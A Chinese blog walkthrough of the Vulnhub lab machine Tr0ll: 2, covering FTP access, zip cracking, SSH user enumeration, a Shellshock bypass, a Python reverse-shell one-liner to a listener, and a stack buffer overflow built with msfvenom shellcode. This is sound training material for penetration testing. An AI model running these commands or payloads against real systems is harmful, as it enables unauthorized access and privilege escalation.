Vulnhub百个项目渗透——项目九:Tr0ll: 2(压缩包爆破,ssh证书登录,缓冲区溢出)
靶场地址
缓冲区溢出详解
系列专栏:Vulnhub百个项目渗透
欢迎关注点赞收藏⭐️留言
首发时间:2022年9月23日
作者水平很有限,如果发现错误,还望告知,感谢!
本文章仅用作实验学习,实验环境均为自行搭建的公开vuinhub靶场,仅使用kali虚拟机作为操作学习工具。本文仅用作学习记录,不做任何导向。请勿在现实环境中模仿,操作。
代码如下:
ifconfig //用来查看自己的IP
namp 192.168.247.0/24 -sP //用来扫描同网段所有存活主机,注意最后是0
这个IP是你ifconfig出来的IP
nmap -p- 192.168.247.136 //扫描开放端口,找服务
(服务越多,我们越应该兴奋,因为服务多代表漏洞越多,越好下手)
nmap -sS -sV -A -T5 192.168.247.136
--扫描服务版本等信息
这里看到开放了FTP以及openssh的服务
登录ftp
账号:Tr0ll
密码:Tr0ll
遍历目录,发现一个压缩包,下载到本地
get lmao.zip --下载到本地
解压缩发现需要密码,尝试了一下简单的爆破无果,暂且搁置
ftp暂时无果,ssh也暂时无果,那就开始web的方面
首先就是遍历目录,找到一个robots.txt,看一下
没看懂,翻译
翻译出来也没懂要让我干啥,红框那几句看了一下,似乎说是要让我们继续努力,到目前为止已经无路可走了,但是这个看着像是一个个目录?
那就下载到本地,当作密码本
爆破之后发现了一个/dont_bother/
下载:wget http://192.168.247.136/robots.txt
然后进行页面爆破:dirb http://192.168.247.136/ robots.txt
---以robots.txt作为密码本
是个图片,看源码
访问那个jpg地址
还是这个图片,那就想到了隐写,查看图片的16进制信息
之前的帖子写到过
strings cat_the_troll.jpg ---查看页面的16进制信息
查看之后有这么一句话,是一个目录应该,访问一下
看一下这个answer.txt
显然是base64
这就直接用kali自带的解码工具即可,因为可以批量解密并保存到文件
wget http://192.168.247.136/y0ur_self/answer.txt
----下载到本地
base64 -d answer.txt > rong.txt
---将整个文本base64解码后导出到rong.txt
这个要么是ssh的密码要么是那个压缩包的
先爆破压缩包,使用fcrackzip工具
fcrackzip -u -D -p rong.txt lmap.zip
[-u|--use-unzip] 使用 unzip 清除错误密码
[-D|--dictionary] 使用字典
[-p|--init-password string] 使用字符串作为初始密码/文件
得到正确的密码,解密出来一个noob
查看一下这应该是ssh的登陆密钥
cat noob --知道这是一个RSA私钥
那我们就用它去登录ssh
有了私钥但是不知道ssh用户名是什么,之前信息收集靶机ssh服务为openssh5.9版本,发现openssh用户枚举漏洞能用
exp下载地址
https://github.com/epi052/cve-2018-15473
带上字典跑一跑,返回boob用户存在
chmod 400 noob --给noob文件一个权限
ssh -i noob noob@192.168.247.136 ---登陆了
but! 失败了,这里我们还是需要输入密码,这里有一个新知识
Bash 破壳漏洞Shellshock
https://www.cnblogs.com/Cl0ud/p/14248937.html
https://resources.infosecinstitute.com/topic/practical-shellshock-exploitation-part-2/#gref
https://www.csoonline.com/article/2687265/remote-exploit-in-bash-cve-2014-6271.html
这几个写得好,利用方法也写了
总的来说,就是利用低版本的bash来绕过密码,并且达到一个远程RCE的功能
他让我们try hard
https://www.cnblogs.com/linuxsec/articles/10741580.html
这是针对linnux ssh登录受限的情况做的
ssh -i noob noob@192.168.247.136 '() { :;}; cat /etc/passwd'
ssh -i noob noob@192.168.247.136 '() { :;}; /bin/bash' ----这会反弹一个伪shell
------() { :; };这一堆就是这样,固定的方法
老版kali不好用,我就把shell转过来玩
还有一些很好的方式在这个博主的连接里
https://blog.csdn.net/m0_57221101/article/details/122536495
靶场执行:修改IP和端口为KALI的监听
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket. SOCK_STREAM);s.settimeout(10);s.connect(("10.10.14.8",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'
nc -vlp 4444
find / -perm -4000 2>/dev/null ----查找所有目录中文件属性具有读、写权限,查看rwsr的文件!
发现了三个root啥的,依照经验,这是个缓冲区溢出,我们需要用到gdb来分析,步骤是以下几步
给出了我们用法,那我们就按照缓冲区溢出的标准测试流程来操作
首先这是输入字符造成溢出
base64 r00t ---变成base64编码
cat 1234.txt | base64 -d > r00t ---保存在1234.txt中,然后再转码成可执行文件
md5sum r00t 检验一下md5值,确保文件正确
r $(python -c 'print "A"*268 + "B"*4')
42就是B,我们可以知道这里B覆盖了EIP的值,这意味着我们把B改为SHELLCODE的地址,就可以执行了
r $(python -c 'print "A"*268 + "BBBB" + "\x90"*16 + "C"*100')
ESP:0xbffffb80
对应的地址:\x80\xfb\xff\xbf
我们看到C的值覆盖了ESP,也就是说这个地址就是ESP的地址,把这个地址覆盖到EIP就会直接返回到shellcode部分
pip install badchars ---下载脚本
sudo ln -s /home/kali/.local/bin/badchars /bin/badchars --创建软连接
badchars --生成
然后用坏字符替换C位置,防止shellcode中存在坏字符影响运行
(gdb) r $(python -c 'print "A"*268+"B"*4+"\x01\x02\x03\x04\x05\x06\x07\x08\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"')
能看到1-8是正常的,后门就全乱了,怀疑0x08后面的0x00和0x09是个坏字符,至于后面全乱序猜测是因为0x0a换行符的问题。重新来,去掉0x09和0x0a:
好看多了,但是从0x20又开始乱了,去掉0x20后门就好了。
坏字符总结为0x09、0x0a、0x20、再加个0x00!(默认排除空字节\x00) \x00 \x0a \x0b \x09 \x20
反弹提权
msfvenom -a x86 --platform linux -p linux/x86/shell_reverse_tcp LHOST=x.x.x.x LPORT=443 -b "\x00\x09\x0a\x20" EXITFUNC=thread -f c
原地提权
msfvenom -a x86 -p linux/x86/exec CMD=/bin/sh -b '\x00\x09\x0a\x20' -e x86/shikata_ga_nai -fc
payload:
-a 框架选择
-p 载荷类型LHOST 本机地址 LPORT
-b 坏字符
-e 要使用的编码器
-f 编译的语言
-c 指定要包含的附加 win32 shellcode 文件
-v 载荷的名称
./r00t $(python -c 'print "A"*268 + "\x80\xfb\xff\xbf" + "\x90"*20 + "\xbb\x75\xc8\xc9\xe2\xd9\xec\xd9\x74\x24\xf4\x5f\x33\xc9\xb1\x0b\x83\xc7\x04\x31\x5f\x11\x03\x5f\x11\xe2\x80\xa2\xc2\xba\xf3\x61\xb3\x52\x2e\xe5\xb2\x44\x58\xc6\xb7\xe2\x98\x70\x17\x91\xf1\xee\xee\xb6\x53\x07\xf8\x38\x53\xd7\xd6\x5a\x3a\xb9\x07\xe8\xd4\x45\x0f\x5d\xad\xa7\x62\xe1"')